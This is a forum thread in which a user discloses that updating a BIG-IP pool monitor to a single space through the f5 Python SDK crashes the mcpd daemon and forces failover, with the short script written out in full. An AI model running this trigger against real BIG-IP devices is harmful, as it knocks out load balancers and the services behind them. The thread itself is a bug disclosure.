Forum Discussion
How to crash a bigip
This isn't really a question, I just thought I share a handy way to crash a bigip through the python sdk. We opened a ticket, but f5 indicated they weren't interested, so I am curious I see if anyone else can crash their bigips. Specifically, I've tested against two separate HA pairs, both labs running the latest software version.
!/usr/bin/env python
from __future__ import print_function
from f5.bigip import ManagementRoot
from f5.utils.responses.handlers import Stats
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
tor = ManagementRoot('big_hostname', 'rest_api', 'password')
the pool 'test' already exists, it doesn't matter how it's configured
tor_pool = tor.tm.ltm.pools.pool.load(partition='Common', name='test')
I am explicitly passing a single space character
tor_pool.update(monitor=' ')
Now, obviously I'm not using this code in production, I just stumbled across this artifact during testing. And, there's no good reason to do this in a real application, but it is interesting how easy it is to crash a deamon and cause a failover.
- Rob_74473
Cirrus
The actual version is: BIG-IP 12.1.3.7 Build 0.0.2 Point Release 7
- Rob_74473
Cirrus
And, the deamon I am crashing mcpd
- Satoshi_Toyosa1Ret. Employee
F5 is aware of the issue and working on it.
Recent Discussions
Related Content
* Getting Started on DevCentral
* Community Guidelines
* Community Terms of Use / EULA
* Community Ranking Explained
* Community Resources
* Contact the DevCentral Team
* Update MFA on account.f5.com